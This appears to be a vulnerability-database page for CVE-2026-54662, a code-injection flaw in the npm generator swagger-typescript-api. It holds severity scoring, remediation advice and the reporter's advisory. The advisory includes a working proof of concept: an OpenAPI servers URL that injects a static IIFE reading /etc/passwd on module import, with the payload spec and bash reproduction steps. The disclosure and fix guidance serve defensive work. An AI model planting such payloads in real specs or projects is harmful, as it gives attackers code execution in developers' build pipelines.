Skip to main content

swagger-typescript-api CVE-2026-54662

| EUVDEUVD-2026-50363 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-hqj5-cw9f-rx67
8.3
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker controls OpenAPI spec servers[0].url
  2. Delivery
    Inject quote-breakout with static IIFE payload
  3. Exploit
    Victim runs swagger-typescript-api fetch generation
  4. Install
    Malicious static field emitted into HttpClient class
  5. C2
    Victim imports generated module
  6. Execute
    Static initializer executes at module load
  7. Impact
    Arbitrary code runs with importer privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires that the victim generate a client in fetch mode (httpClientType: 'fetch') from an OpenAPI spec whose servers[0].url the attacker controls, and then import the generated module (or anything that transitively imports it) - import alone suffices because the injected static field initializer runs at class-definition/module-load time, with no instantiation or method call needed. The exact prerequisite is a servers[0].url string containing a " to break out of the public baseUrl string literal, followed by a static field declaration and a re-opened trailing string that the template's own closing quote terminates. Limiting factors that reduce real-world risk: the victim must run the generator against an attacker-influenced spec (any workflow using only first-party specs is unaffected), and per CVSS PR:N/UI:R the attack needs no privileges but does require that victim-side generate-and-import action rather than a remote drive-by. The sibling axios sink requires actual HttpClient/Api instantiation, whereas this fetch sink needs only a bare import - the highest-impact, lowest-interaction variant.

Impact

This is a genuine high-severity issue for anyone generating clients from specs they do not fully author, but it is a developer/supply-chain risk rather than a mass-exploitable internet-facing one. The vendor-assigned CVSS is 8.3 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H): the network vector is justified because specs are commonly fetched remotely (sta --url), and AC:H plus UI:R correctly capture that a victim must run the generator against attacker-controlled input and then import the output - this is not drive-by. Scope-changed with full C/I/A reflects arbitrary code execution in the importing process. No EPSS score was provided and there is no CISA KEV entry, so there is no evidence of active exploitation; however a working, tested PoC exists, so weaponization effort is trivial. Real-world priority hinges on workflow: CI/CD pipelines and multi-tenant SaaS that regenerate clients from partner/tenant/third-party specs face meaningful risk, while teams that only generate from first-party specs they control face little practical exposure. Missing data to note: no EPSS, no SSVC decision, and KEV status not present in input - treat 'not exploited in the wild' as unconfirmed absence of data, not proof.

Exploit ScenarioDerived

A CI pipeline regenerates a fetch-based TypeScript client on each build from a partner-hosted OpenAPI spec. An attacker who can influence that spec sets servers[0].url to https://api.example.com"; static _pwn = (async()=>{ ...read secrets and exfiltrate... })(); public x: string = ". When any build step or test imports the generated module, the injected static IIFE executes at module load with the build agent's privileges. A public, tested PoC demonstrates exactly this by reading /etc/passwd and writing it to /tmp/sta_canary after a bare import - no instantiation and no method call, so the low interaction reflects the AC:H/UI:R vector.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 29, 2026

Arbitrary code execution in swagger-typescript-api (npm, versions <= 13.12.1) occurs because the generator interpolates the OpenAPI spec's servers[0].url raw into the generated fetch HttpClient's public baseUrl field initializer with no escaping. An attacker who controls the spec can close the string literal and declare a static class field whose IIFE runs at class-definition time, so merely importing the generated module - no instantiation, no method call - executes attacker code with the importer's privileges. There is no CISA KEV listing, but publicly available exploit code exists (a self-contained, tested PoC) demonstrating exfiltration of /etc/passwd on a bare import; the vendor fixed it in 13.12.2.

RemediationAI

Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 or later, which escapes apiConfig.baseUrl once at the source (src/code-gen-process.ts) via a new escapeJsStringLiteral helper before template rendering, closing both the fetch and axios sinks (see PR https://github.com/acacode/swagger-typescript-api/pull/1779 and advisory GHSA-hqj5-cw9f-rx67). Because this is a build-time tool, also regenerate any clients previously produced from untrusted specs by a vulnerable version and audit them for injected static fields or a stray " in the baseUrl initializer. Until you can upgrade, the concrete compensating control is to treat OpenAPI specs as untrusted code input: only generate from specs you fully author or from pinned, review-gated files (never sta generate --url against third-party or attacker-hosted specs), and add a pre-import lint/grep gate that rejects any generated client whose public baseUrl line contains an unescaped quote or additional class-body statements - the trade-off being extra pipeline steps and re-runs on every spec change. Note the same PR also bundles related fixes (enum string-value injection, route-path injection, and SSRF/token-exfiltration via remote $ref), so upgrading remediates those simultaneously.

Affected VersionsENISA

swagger-typescript-api < 13.12.2

Affected Packages

npm swagger-typescript-api fix: 13.12.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

swagger-typescript-api is a build-time code generator that turns OpenAPI/Swagger specs into TypeScript API clients using Eta/EJS templates. The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) emits public baseUrl: string = "<%~ apiConfig.baseUrl %>";, where <%~ %> is Eta's raw, unescaped interpolation. The value flows unsanitized from swaggerSchema.servers[0].url through createApiConfig (src/code-gen-process.ts:591); the codebase's only escape helper (escapeJSDocContent) is not applied on this path. This is a classic injection root cause (CWE-74, with CWE-94 code injection and CWE-1336 template-engine injection): untrusted input crossing into a code-emission sink. Because TypeScript static class-field initializers evaluate when the class declaration is processed - at module load - an injected static _pwn = (async()=>{...})() field fires on a bare import, requiring no runtime object construction. The same apiConfig.baseUrl feeds a sibling axios template sink (axios-http-client.ejs:71), tracked separately.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY 8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 8.3 HIGH

Remote specs justify AV:N; the victim must run the generator against attacker input and import the output, giving AC:H and UI:R; no privileges needed (PR:N); injected code escapes into the importer process (S:C) with full code execution (C/I/A:H).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding *class body* to injection. The most direct exploit declares a new static field whose initializer is an async IIFE - TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction - no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.

This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

ts
return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:

ejs
export class HttpClient<SecurityDataType = unknown> {
    public baseUrl: string = "<%~ apiConfig.baseUrl %>";
    private securityData: SecurityDataType | null = null;
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function - escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) - only replaces */ and is not applied to this path.

TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:

URL"; static _pwn = (IIFE)(); public x: string = "

produces the following class body:

ts
export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "URL";
  static _pwn = (IIFE)();    // <-- static field initializer
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition - i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization - no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "

Minimal payload spec:

json
{
  "openapi": "3.0.0",
  "info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

bash
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (HttpClient class body - payload, Biome-formatted):

ts
export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "https://api.example.com";
  static _pwn = (async () => {
    try {
      const fs = await import("node:fs");
      const data = fs.readFileSync("/etc/passwd", "utf8");
      fs.writeFileSync("/tmp/sta_canary", data);
    } catch (e) {}
  })();
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

static _pwn = (async () => { ... })() is a real TypeScript static class field declaration - Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:

  • sta generate --url https://attacker.example/openapi.json - a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected static initializer fires at module load - the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.

Privilege: the IIFE runs with the full privileges of the importing process - read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

ts
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal - at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form - fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

Executive ViewAI

Why It Matters

Swagger-typescript-api (versions 13.12.1 and earlier), a widely-used npm package for generating REST API clients, contains a critical code execution vulnerability triggered on module import; publicly available exploit code exists. An attacker can execute arbitrary code by supplying a malicious OpenAPI specification, creating supply-chain risk across organizations with development teams using this package.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Medium
popular npm codegen dev tool, common but build-time not runtime
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy